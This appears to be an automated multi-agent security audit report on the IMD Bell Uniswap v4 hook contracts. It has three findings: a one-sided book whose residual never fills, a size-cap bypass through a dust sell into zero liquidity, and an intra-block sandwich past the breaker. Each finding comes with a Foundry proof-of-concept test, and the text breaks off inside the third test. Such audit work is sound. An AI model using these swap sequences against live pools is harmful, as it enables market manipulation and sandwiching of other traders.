# Audit report

> Audit the IMD Bell contracts in src/ at this commit, the fourth public commit of this repository. PART 1, WHAT IT IS: MarketHoursHook is a Uniswap v4 hook that lets its coin trade only during a daily session: while the market is closed, limit orders wait in two books and each book is filled at one clearing price when a bell rings (opening 12:00 UTC, closing 16:00 UTC). It creates BellGame (sealed commit-reveal guesses at the next opening price, points only, no tokens), BellRinger (rings the due bell, runs that bell's chores and pays the caller a capped reward priced from block.basefee and the ETH/IMD pool) and SwarmBudget (pays two fixed nightly Intake requests); MarketHoursCoin is a fixed-supply ERC-20. PART 2, HISTORY: this commit answers the seven findings of the audit of commit 4eb95e3 (job d2e99057-f18f-44d5-852b-53d5bb1b4ca0, report https://api.imd.fun/jobs/d2e99057-f18f-44d5-852b-53d5bb1b4ca0/report.md), which followed the audit of bc64b98 (job 193411a0-b64c-477e-a785-e57fb254dd91, report https://api.imd.fun/jobs/193411a0-b64c-477e-a785-e57fb254dd91/report.md) and the audit of 672a97b (job a300cdb8-36eb-408a-9b46-c8d94d108cda, report https://api.imd.fun/jobs/a300cdb8-36eb-408a-9b46-c8d94d108cda/report.md). README.md lists every fix under 'Since the first audit', 'Since the second audit' and 'Since the third audit'; test/repro, test/audit-two and test/audit-three hold one regression test per finding. PART 3, FIRST PRIORITY, whether each fix of the third audit holds and whether it opened a new problem: (a) the round-trip guard's key is scoped to the router: keccak256(abi.encode(router, account)) when the router reports an account through msgSender(), else the signer as a padded word, stored in lastSwap(bytes32); (b) BellGame.reveal refuses a guess that is not a bucket (off the 60-tick grid or above the grid's top word); (c) a swap that starts where the pool has zero in-range liquidity is neither sampled nor the block's checkpoint, and the block's first swap that starts inside liquidity is — including what this does at a launch whose price sits on the seed position's edge; (d) the reference set at initialisation is held to plus or minus 875,220 and rounded to the nearest bucket exactly as a bell's is; (e) the guard's reply-length check reads the router's own reply. PART 4, KNOWN AND ACCEPTED, do not report these again unless you can show they are worse than stated here: (i) the ring reward after a moved ring: the ringer prices its reward at the lower of the ETH/IMD pool's spot and the spot the previous ring stored, and stores the raw spot its own transaction read, so a ring made with the pool moved the same way twice running is paid at the moved price on the second, up to the 3 IMD cap; moving the pool and moving it back inside one transaction costs the mover the pool's fee on both legs and nobody can trade between the legs, which at the mainnet pool's current depth is thousands of IMD to gain under 3; the worst case if the pool thinned is bounded to the two ring caps and the push caps a day from the purse, and the bells still ring; after a direct ring at the hook the ringer's call runs inside a pool unlock, so the mover needs the fee, not capital; (ii) a 5 IMD order at the band's passive edge is never reached, pays only the 0.5 percent unfilled fee (0.025 IMD), counts 0.05 IMD toward the deposit cap and holds a paid guess ticket; points only, and one fresh wallet per bucket is the limit of any per-wallet rule. PART 5, THEN EVERYTHING ELSE: any way to lose, lock or steal user funds in the books, cancels, claims, the closed-market exit, refunds of a missed bell, or the fee splits and burns; any way to make a bell impossible to ring, to ring one twice, or to ring it with a manipulated price, including the 120-bucket residual cap, the 10,600,000 gas floor and the 16,777,216 per-transaction gas cap; rounding in the clearing price and in residual pool fills; reward farming or draining of the bell purse beyond part 4; front-running or griefing of the bells and of sealed guesses; and anything the univ4_hook launch policy would refuse at admission. PART 6, HOW TO TEST: the tests run offline with forge test on Foundry 1.8.3 and 1.5.1, each with its default settings; no RPC URL or key is needed.

| | |
|---|---|
| Repository | https://github.com/imdbell/imd-bell-contracts.git |
| Commit | `8bdb3c7f854a57fbcbc607b635996c5c61fbb15f` |
| Job | `ad781e59-5e5f-41c2-a7b0-29ed0fed2f4c` |
| Judged | 2026-11-07 05:10 UTC |
| Findings | 1 high · 2 medium · 3 low |

Four agents audited the code as it is at `8bdb3c7`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: A one-sided (zero-match) book's residual can never fill from the pool: P* is the pool's own price, but the residual's limit is moved 125 ticks fee-inward of P*, so the pool refuses and every reached o

`src/MarketHoursHook.sol:1139`

```
        uint160 limit = limited
            ? _feeInward(TickMath.getSqrtPriceAtTick(imdIs0 ? -limitB : limitB), zfo)
            : (zfo ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1);
```

When a book has orders on one side only, _scan finds no match (best == 0) and sets P* to the pool's own price held to the nearest bucket (lines 623-628: r.a from the checkpoint, else lastCleared), so |P* - pool tick| <= 30 ticks at the ring in a flat market. The whole heavy side is then the residual, swapped in unlockCallback with the limit at P*'s edge moved fee-inward by sqrt(1 - 1.25 %): about 125 ticks on the far side of P* from the swap's direction (a buy-heavy residual's ceiling sits 125 ticks below P*, a sell-heavy one's floor 125 ticks above it). Since 125 > 30 the limit is always past the pool's current price, v4 reverts PriceLimitAlreadyExceeded, the catch returns (0, 0), residualFill = 0 and bit 2 of Charge.roundUp is not set. In _outcome every reached order then has bookIn = resIn = 0, is not 'rationed', and pays unfilledFee = ceil(a * 50 / 10000) on its whole escrow (lines 473-477). A one-sided book can only fill if the pool drifted more than ~95 ticks in the heavy side's favour since the checkpoint that set r.a. At launch this is certain: the seed is coin-only so the first opening book is buy-only, lastCleared equals the initial tick's bucket, the pool sits exactly there with the whole seed in range, the bell rings, nothing is bought, and every launch buyer loses 0.5 % of escrow on an order the pool could have filled at P* plus the pool fee. The same holds for the coin-currency1 orientation (start at the seed's upper tick, buy residual moves down into it, floor 125 ticks above spot). The repository's own test_U_reachedSideUnfilledPaysTheFee (test/Fees.sol:109) pins this outcome without noting it is structural. None of the three prior reports raised it. Fix needs a design decision: for a zero-match book either place P* on the heavy side's far side of the pool price by at least the fee width plus one bucket (round up for buy-heavy, down for sell-heavy), or run the zero-match residual with the limit at P*'s edge itself and charge buyers P* x (1 + fee); and in any case do not charge the unfilled fee when residualFill == 0 because the pool's price was already past the limit at the ring (treat that like bit 2).

**Reproduction**

Offline harness: pool (coin, IMD) initialised at tick 0, coin-only seed [0, 12000) with L = 1e23 (about 45,000 coin in range), lastCleared = 0, no sell orders. Day D at 01:00: buyer calls placeOrder(2D, true, 600, 100e18) (limit 6 % above the pool). D 12:00, next block: ringOpen(). Expected: bells(2D).residualFill > 0, claim pays coin, no UnfilledFeeTaken. Actual: bells(2D) = (pStar 0, rung, buyHeavy, innerFill 0, marginalFill 0, residualFill 0), pool tick still 0; claim(id) pays 0 coin, refunds 99.5 IMD and burnAccrued rises by 0.5 IMD. Run: forge test --match-path test/scratch/ZeroMatchResidualNeverFills.t.sol; it fails with 'the pool had coin in range at P*: the residual must fill at least part of the order: 0 <= 0'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

/// A one-sided (buy-only) book clears with zero matches at P* = the pool's own price (nearest bucket). The residual
/// then buys through the pool with a price limit moved fee-inward of P* (125 ticks below it), while P* is at most 30
/// ticks from the pool's price: the limit is always below the pool's current price, the pool refuses
/// (PriceLimitAlreadyExceeded), nothing fills, and every buyer pays the 0.5 % unfilled-order fee. The launch book is
/// necessarily buy-only (the whole supply sits in the pool), so the first opening bell can never deliver coin.
contract ZeroMatchResidualNeverFillsTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    uint160 internal constant FLAGS = 0x2080; // BEFORE_INITIALIZE | BEFORE_SWAP
    uint160 internal constant FLAG_MASK = 0x3FFF;
    uint256 internal constant OPEN = 43200;

    IPoolManager internal manager;
    MockERC20 internal imd;
    MarketHoursCoin internal coin;
    MarketHoursHook internal hook;
    PoolModifyLiquidityTest internal lp;
    PoolKey internal key;
    uint256 internal D;
    address internal buyer = makeAddr("buyer");

    function _create2At(bytes32 salt, bytes32 initHash) internal view returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, initHash)))));
    }

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        lp = new PoolModifyLiquidityTest(manager);
        // IMD sorts high, the coin below it, so the pool is (coin, IMD) and a bucket b is the pool tick b
        bytes32 hi = keccak256(abi.encodePacked(type(MockERC20).creationCode, abi.encode("Stand-in", "STAND", uint8(18))));
        uint256 i;
        while (_create2At(bytes32(i), hi) < address(uint160(0xD0) << 152)) ++i;
        imd = new MockERC20{salt: bytes32(i)}("Stand-in", "STAND", 18);
        bytes32 hc = keccak256(abi.encodePacked(type(MarketHoursCoin).creationCode, abi.encode("Test Coin", "TEST")));
        i = 0;
        while (_create2At(bytes32(i), hc) > address(imd)) ++i;
        coin = new MarketHoursCoin{salt: bytes32(i)}("Test Coin", "TEST");

        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = address(imd);
        p.coin = address(coin);
        p.feeWallet = makeAddr("feeWallet");
        p.burnExecutor = makeAddr("burnExecutor");
        p.launchFees = makeAddr("launchFees");
        p.intake = makeAddr("intake");
        p.maxBlockMoveBps = 500;
        p.maxSwapImd = 10_000e18;
        p.networkBps = 2000;
        p.feeWalletBps = 2000;
        p.swarmFeeBps = 1000;
        p.burnBps = 4000;
        p.bellPurseBps = 1000;
        p.launchNumber = 7;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 ih = keccak256(init);
        address at;
        bytes32 salt;
        for (i = 0; i < (1 << 22); ++i) {
            at = _create2At(bytes32(i), ih);
            if (uint160(at) & FLAG_MASK == FLAGS) {
                salt = bytes32(i);
                break;
            }
        }
        address deployed;
        assembly ("memory-safe") {
            deployed := create2(0, add(init, 0x20), mload(init), salt)
        }
        require(deployed == at && deployed != address(0), "hook deploy");
        hook = MarketHoursHook(deployed);

        // the launch: pool at tick 0, a coin-only seed over [0, 12000), ~45,000 coin in range
        key = PoolKey(Currency.wrap(address(coin)), Currency.wrap(address(imd)), 12_500, 60, IHooks(deployed));
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        coin.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(0, 12_000, int256(uint256(1e23)), 0), "");
        (, int24 t,,) = manager.getSlot0(key.toId());
        require(t == 0, "seed moved the price");

        D = block.timestamp / 1 days + 1;
        imd.mint(buyer, 1_000e18);
        vm.prank(buyer);
        imd.approve(address(hook), type(uint256).max);
    }

    /// The buyer bids 100 IMD with a limit ten buckets (6 %) above the pool's price in a book with no sellers. The pool
    /// holds ~45,000 coin in range starting exactly at the reference. Expected: the bell fills the order (at least in
    /// part) from the pool and takes no unfilled-order fee. Actual: residualFill is 0, the buyer gets no coin, is
    /// refunded 99.5 IMD and pays 0.5 IMD to the burn.
    function test_launchBuyOnlyBookFillsNothingAndChargesTheUnfilledFee() public {
        vm.warp(D * 1 days + 1 hours);
        int24 ref = hook.referenceOf(2 * D);
        assertEq(ref, 0, "precondition: the reference is the launch price's bucket");
        vm.prank(buyer);
        uint256 id = hook.placeOrder(2 * D, true, ref + 600, 100e18);

        vm.warp(D * 1 days + OPEN);
        vm.roll(vm.getBlockNumber() + 1);
        hook.ringOpen();
        (int24 p, bool rung, bool buyHeavy,,, uint64 rf) = hook.bells(2 * D);
        assertTrue(rung && buyHeavy && p == ref, "precondition: zero matches, P* is the pool's own price");
        console2.log("residualFill (1e18 = whole)", uint256(rf));
        console2.log("pool tick after the bell", int256(_tick()));

        uint256 c0 = coin.balanceOf(buyer);
        uint256 i0 = imd.balanceOf(buyer);
        uint256 b0 = hook.burnAccrued();
        vm.prank(buyer);
        hook.claim(id);
        uint256 coinOut = coin.balanceOf(buyer) - c0;
        uint256 refund = imd.balanceOf(buyer) - i0;
        console2.log("claim: coin out / IMD refund / IMD to the burn", coinOut, refund, hook.burnAccrued() - b0);

        assertGt(rf, 0, "the pool had coin in range at P*: the residual must fill at least part of the order");
        assertGt(coinOut, 0, "a buyer whose limit is 6 % above the pool's price must receive coin");
        assertEq(hook.burnAccrued() - b0, 0, "no unfilled-order fee on an order the pool could have filled");
    }

    function _tick() internal view returns (int24 t) {
        (, t,,) = manager.getSlot0(key.toId());
    }
}
```

### 2. Medium: Size cap values a coin-specified swap at the pre-swap spot: an exact-output buy exceeds maxSwapImd by its price impact, and by any factor once a free dust sell parks the spot outside liquidity (the vo

`src/MarketHoursHook.sol:1019`

```
        if ((zeroForOne == (amountSpecified < 0)) != imdIs0) {
            amt = imdIs0
                ? FullMath.mulDiv(FullMath.mulDiv(amt, Q96, sp), Q96, sp) // token1 (coin) -> token0 (IMD)
                : FullMath.mulDiv(FullMath.mulDiv(amt, sp, Q96), sp, Q96); // token0 (coin) -> token1 (IMD)
```

beforeSwap's first anti-bot check, _sizeCap, converts a coin-denominated amountSpecified (exact-output buy, or exact-input sell) to IMD at slot0's sqrt price read before the swap and compares it to maxSwapImd ('The most one swap may be worth, in IMD', line 151). Two consequences. (1) Inside liquidity the IMD an exact-output buy takes is the integral of the price over the move, strictly more than amount x spot: an exact-output buy of 9,999 coin passes a 10,000 IMD cap and costs 11,250.5 IMD (12.5 % over). (2) Under the coin-only launch seed, a dust sell at the seed's lower edge crosses into zero liquidity and the pool jumps to MIN_TICK for free (a router sell during the session, or emergencyExit(1, 0) while closed). The third audit's fix (c) makes _breaker skip that state, but _sizeCap still prices the swap at sqrt price 4295128739 (1.0001^-887272), where any coin amount converts to about 0 IMD. An exact-output buy of 40,000 coin (limit MAX_SQRT_PRICE - 1) therefore passes the cap, walks up through the void for free, then buys the seed at its real prices: 67,510 IMD in one swap, 6.75 x the cap, moving the pool from tick 0 to 10,217. Because it is the block's first swap the breaker does not bound it, and because it starts in the void fix (c) does not sample or checkpoint it. In the coin-currency1 orientation the launch price sits on the seed's upper tick where in-range liquidity is already zero, so no dust push is needed. Who loses: the launch's per-swap cap, and the per-block volume bound the breaker relies on, do not hold for exact-output buys at launch, the moment they exist for; no escrowed funds are at risk. The IMD-specified (exact-input buy) direction is bounded correctly. Fix: value coin-specified swaps at a price that cannot be parked for free, e.g. the dearer of the spot and the last in-liquidity checkpoint (or _sqrtAt(lastCleared)), and refuse coin-specified swaps when in-range liquidity is zero (the same read _breaker does); or bound the actual IMD delta in an afterSwap hook (changes the hook's flag bits). Three specialists reported this defect (permissions, economics, math); merged here.

**Reproduction**

Harness: pool (coin, IMD) at tick 0, coin-only seed [0, 12000) with L = 1e23, maxSwapImd = 10,000e18, maxBlockMoveBps = 500, opening bell rung. (A) Next block: exact-output swap zeroForOne = false, amountSpecified = +9_999e18, limit MAX_SQRT_PRICE - 1 through PoolSwapTest. Expected SwapTooLarge (worth > 10,000 IMD). Actual: admitted, trader pays 11,250.507905749007852094 IMD (verified: test/scratch/Judge.t.sol::test_exactOutputOvershoot fails 'paid more than maxSwapImd in one swap: 11250507905749007852094 > 10000000000000000000000'). (B) Block N: sell 1e15 coin exact-in with limit MIN_SQRT_PRICE + 1; tick becomes -887,272, in-range liquidity 0. Block N+1, another signer: zeroForOne = false, amountSpecified = +40_000e18, limit MAX_SQRT_PRICE - 1. Expected SwapTooLarge (the same buy from tick 0 reverts SwapTooLarge, control passes). Actual: succeeds, buyer spends 67,510.548523206751054853 IMD for 40,000 coin, pool tick 10,217. Run: forge test --match-path test/scratch/SizeCapVoid.t.sol (fails 'a swap worth ~67,000 IMD passed a 10,000 IMD size cap').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

/// The size cap prices a coin-specified swap at the pool's spot, even when the spot sits in a stretch with no liquidity
/// in range. Under the coin-only launch seed nothing sits below the start price, so a dust sell parks the spot at the
/// minimum tick for free; the next block's exact-output buy of the coin is then valued at ~1e-38 IMD per coin, passes
/// the cap whatever its size, and buys the seed at its real prices. The breaker does not see it either (a swap from
/// zero liquidity is not the block's checkpoint).
contract SizeCapVoidTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    uint256 internal constant MAX_SWAP = 10_000e18;
    IPoolManager internal manager;
    PoolSwapTest internal router;
    PoolModifyLiquidityTest internal lp;
    MarketHoursHook internal hook;
    MarketHoursCoin internal coin;
    MarketHoursCoin internal imd;
    PoolKey internal key;
    address internal trader = makeAddr("trader");
    uint256 internal D;

    function setUp() public {
        manager = new PoolManager(address(this));
        router = new PoolSwapTest(manager);
        lp = new PoolModifyLiquidityTest(manager);
        MarketHoursCoin a = new MarketHoursCoin("A", "A");
        MarketHoursCoin b = new MarketHoursCoin("B", "B");
        // the coin sorts below IMD: pool (coin, IMD), a pool tick is a bucket
        (coin, imd) = address(a) < address(b) ? (a, b) : (b, a);
        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = address(imd);
        p.coin = address(coin);
        p.feeWallet = makeAddr("feeWallet");
        p.burnExecutor = makeAddr("burnExecutor");
        p.launchFees = makeAddr("launchFees");
        p.intake = makeAddr("intake");
        p.maxBlockMoveBps = 500;
        p.maxSwapImd = MAX_SWAP;
        (p.networkBps, p.feeWalletBps, p.swarmFeeBps, p.burnBps, p.bellPurseBps) = (2000, 2000, 1000, 4000, 1000);
        p.launchNumber = 7;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 h = keccak256(init);
        uint256 i;
        address at;
        for (;; ++i) {
            at = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(at) & 0x3FFF == 0x2080) break;
        }
        address got;
        assembly {
            got := create2(0, add(init, 0x20), mload(init), i)
        }
        require(got == at, "hook deploy");
        hook = MarketHoursHook(got);
        key = PoolKey(Currency.wrap(address(coin)), Currency.wrap(address(imd)), 12_500, 60, IHooks(got));
        // the factory's launch: the pool at tick 0, a coin-only seed over [0, 12000)
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        coin.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(0, 12_000, 1e23, 0), "");
        coin.transfer(trader, 1_000_000e18);
        imd.transfer(trader, 1_000_000e18);
        vm.startPrank(trader);
        coin.approve(address(router), type(uint256).max);
        imd.approve(address(router), type(uint256).max);
        vm.stopPrank();
        D = block.timestamp / 1 days + 1;
        vm.warp(D * 1 days + 43_200);
        hook.ringOpen();
    }

    function _next() internal {
        vm.roll(vm.getBlockNumber() + 1);
    }

    function _has(bytes memory data, bytes4 sel) internal pure returns (bool) {
        for (uint256 j; j + 4 <= data.length; j++) {
            if (data[j] == sel[0] && data[j + 1] == sel[1] && data[j + 2] == sel[2] && data[j + 3] == sel[3]) return true;
        }
        return false;
    }

    /// exact-output buy of `coinOut` coin with IMD (oneForZero, amountSpecified > 0)
    function _buyExactOut(uint256 coinOut) internal returns (bool ok, bytes memory e) {
        vm.prank(trader, trader);
        (ok, e) = address(router).call(
            abi.encodeCall(
                PoolSwapTest.swap,
                (
                    key,
                    IPoolManager.SwapParams(false, int256(coinOut), TickMath.MAX_SQRT_PRICE - 1),
                    PoolSwapTest.TestSettings(false, false),
                    bytes("")
                )
            )
        );
    }

    /// CONTROL (passes): from the launch price, buying 40,000 coin (about 67,000 IMD) is refused by the size cap.
    function test_control_bigBuyRefusedAtTheRealPrice() public {
        _next();
        (bool ok, bytes memory e) = _buyExactOut(40_000e18);
        assertFalse(ok);
        assertTrue(_has(e, MarketHoursHook.SwapTooLarge.selector), "refused by the size cap");
    }

    /// DEFECT (fails now): a free dust sell into the void below the seed, then the same buy in the next block. Correct:
    /// refused by the size cap (it costs far more than maxSwapImd). Actual: it goes through.
    function test_sizeCapBypassedFromTheVoid() public {
        _next();
        vm.prank(trader, trader);
        router.swap(
            key,
            IPoolManager.SwapParams(true, -1e15, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false),
            ""
        );
        (, int24 t,,) = manager.getSlot0(key.toId());
        console2.log("tick after the dust sell", int256(t));
        console2.log("in-range liquidity", uint256(manager.getLiquidity(key.toId())));
        _next();
        uint256 i0 = imd.balanceOf(trader);
        uint256 c0 = coin.balanceOf(trader);
        (bool ok, bytes memory e) = _buyExactOut(40_000e18);
        if (ok) {
            console2.log("IMD spent in ONE swap (wei)", i0 - imd.balanceOf(trader));
            console2.log("coin bought (wei)", coin.balanceOf(trader) - c0);
            console2.log("maxSwapImd (wei)", MAX_SWAP);
        }
        assertFalse(ok, "a swap worth ~67,000 IMD passed a 10,000 IMD size cap");
        assertTrue(_has(e, MarketHoursHook.SwapTooLarge.selector), "refused by the size cap");
    }
}
```

### 3. Medium: Fix (c) opens a breaker bypass: when the block's first swap starts at zero in-range liquidity it is never the checkpoint, so it moves the price unchecked and the next (victim's) swap becomes the check

`src/MarketHoursHook.sol:1044`

```
            if (_managerWord(0x1e2eaeaf, liqSlot) == 0) return;
```

_breaker returns before writing the checkpoint when a block's first swap starts where in-range liquidity is zero (the third audit's fix (c)). The next swap in that block then takes the first-swap branch again and, if it starts inside liquidity, becomes the checkpoint at whatever price the first swap left; it is never compared against the block's starting price. With the coin as currency1, script/LaunchShape.sol mirrors the planned range to [-tu, -tl] and starts the pool at -tl, the seed's tickUpper; v4 counts a position in range only for tickLower <= tick < tickUpper, so in-range liquidity at the launch price is zero. Every block that starts at the launch price (the opening session's first blocks, and any later block after the price is sold back to the edge) is exposed, as is every block that starts in the void below the seed in the other orientation (see the size-cap finding). In such a block an attacker's first buy is not measured and moves the price as far as the size cap allows (18.56 % here, against a 5 % breaker); a victim's swap in the same block starts at the moved price, is not refused PriceMoved, and becomes the checkpoint; the attacker's second wallet sells back within 5 % of the victim's start. This is exactly the intra-block sandwich the breaker exists to stop, and it holds when the block starts one tick inside liquidity (control test passes). Fix, keeping (c)'s rule that void prices are never sampled: when the block's first swap starts at zero liquidity, still mark the block (blockNumber and sqrtPriceX96 = the reference for the move check, taken from the last in-liquidity checkpoint or the initialisation price when there is none) without adding a sample; or compare every non-first swap against the block's first in-liquidity price.

**Reproduction**

Pool (IMD, coin) with the coin as currency1, seed L = 1e23 over [-12000, 0), initialised at tick 0 (the LaunchShape start), so in-range liquidity is 0; opening bell rung, maxBlockMoveBps = 500, maxSwapImd = 10,000e18. In one block through PoolSwapTest: attacker buys with 9,000e18 IMD exact-in (zeroForOne, limit MIN_SQRT_PRICE + 1): price moves 1,856 bps; victim buys with 100e18 IMD; attacker2 sells 1,000e18 coin. Expected: the victim's swap reverts PriceMoved, as it does when a 1e15 dust buy in the previous block left the price inside liquidity (control test_control_insideLiquidityBreakerHolds passes). Actual: the victim trades at the moved price and the back-run goes through. Run: forge test --match-path test/scratch/EdgeBreaker.t.sol (fails 'the victim's swap started far from the block's first price and still traded').

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

/// The launch shape when the coin sorts above IMD (LaunchShape: range [-tu, -tl], start at -tl, the upper edge): the
/// pool's start tick is the seed's tickUpper, where v4 counts no liquidity in range. Every swap that starts there is
/// neither sampled nor the block's checkpoint, so the block's first buy moves the price unchecked by the breaker and the
/// next swap (a victim's) becomes the checkpoint at the moved price. One tick inside liquidity the same pair is refused.
contract EdgeBreakerTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    IPoolManager internal manager;
    PoolSwapTest internal router;
    PoolModifyLiquidityTest internal lp;
    MarketHoursHook internal hook;
    MarketHoursCoin internal coin;
    MarketHoursCoin internal imd;
    PoolKey internal key;
    address internal attacker = makeAddr("attacker");
    address internal attacker2 = makeAddr("attacker2");
    address internal victim = makeAddr("victim");

    function setUp() public {
        manager = new PoolManager(address(this));
        router = new PoolSwapTest(manager);
        lp = new PoolModifyLiquidityTest(manager);
        MarketHoursCoin a = new MarketHoursCoin("A", "A");
        MarketHoursCoin b = new MarketHoursCoin("B", "B");
        // the coin sorts ABOVE IMD: pool (IMD, coin), a pool tick is minus the bucket
        (imd, coin) = address(a) < address(b) ? (a, b) : (b, a);
        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = address(imd);
        p.coin = address(coin);
        p.feeWallet = makeAddr("feeWallet");
        p.burnExecutor = makeAddr("burnExecutor");
        p.launchFees = makeAddr("launchFees");
        p.intake = makeAddr("intake");
        p.maxBlockMoveBps = 500;
        p.maxSwapImd = 10_000e18;
        (p.networkBps, p.feeWalletBps, p.swarmFeeBps, p.burnBps, p.bellPurseBps) = (2000, 2000, 1000, 4000, 1000);
        p.launchNumber = 7;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 h = keccak256(init);
        uint256 i;
        address at;
        for (;; ++i) {
            at = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(at) & 0x3FFF == 0x2080) break;
        }
        address got;
        assembly {
            got := create2(0, add(init, 0x20), mload(init), i)
        }
        require(got == at, "hook deploy");
        hook = MarketHoursHook(got);
        key = PoolKey(Currency.wrap(address(imd)), Currency.wrap(address(coin)), 12_500, 60, IHooks(got));
        // LaunchShape for a currency1 coin, planned range [0, 12000): pool range [-12000, 0), start at tick 0
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        coin.approve(address(lp), type(uint256).max);
        imd.approve(address(lp), type(uint256).max);
        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(-12_000, 0, 1e23, 0), "");
        address[3] memory who = [attacker, attacker2, victim];
        for (uint256 k; k < 3; ++k) {
            coin.transfer(who[k], 1_000_000e18);
            imd.transfer(who[k], 1_000_000e18);
            vm.startPrank(who[k]);
            coin.approve(address(router), type(uint256).max);
            imd.approve(address(router), type(uint256).max);
            vm.stopPrank();
        }
        vm.warp((block.timestamp / 1 days + 1) * 1 days + 43_200);
        hook.ringOpen();
        vm.roll(vm.getBlockNumber() + 1);
    }

    /// buy the coin with `imdIn` IMD (IMD is currency0: zeroForOne)
    function _buy(address who, uint256 imdIn) internal returns (bool ok, bytes memory e) {
        vm.prank(who, who);
        (ok, e) = address(router).call(
            abi.encodeCall(
                PoolSwapTest.swap,
                (
                    key,
                    IPoolManager.SwapParams(true, -int256(imdIn), TickMath.MIN_SQRT_PRICE + 1),
                    PoolSwapTest.TestSettings(false, false),
                    bytes("")
                )
            )
        );
    }

    function _has(bytes memory data, bytes4 sel) internal pure returns (bool) {
        for (uint256 j; j + 4 <= data.length; j++) {
            if (data[j] == sel[0] && data[j + 1] == sel[1] && data[j + 2] == sel[2] && data[j + 3] == sel[3]) return true;
        }
        return false;
    }

    /// CONTROL (passes): the price one dust buy inside the seed. Next block: the attacker's 9,000 IMD buy is the
    /// checkpoint, and the victim's buy, starting ~18 % away, is refused PriceMoved.
    function test_control_insideLiquidityBreakerHolds() public {
        (bool ok0,) = _buy(attacker2, 1e15);
        assertTrue(ok0);
        assertGt(uint256(manager.getLiquidity(key.toId())), 0);
        vm.roll(vm.getBlockNumber() + 1);
        (bool ok1,) = _buy(attacker, 9_000e18);
        assertTrue(ok1);
        (bool ok, bytes memory e) = _buy(victim, 100e18);
        assertFalse(ok);
        assertTrue(_has(e, MarketHoursHook.PriceMoved.selector));
    }

    /// DEFECT (fails now): at the launch price (the seed's tickUpper, liquidity 0) the attacker's 9,000 IMD buy is not
    /// the block's checkpoint; the victim's buy in the same block starts ~18 % above the block's first price and trades;
    /// the attacker's second wallet sells straight back into it. Correct: the victim's swap is refused PriceMoved.
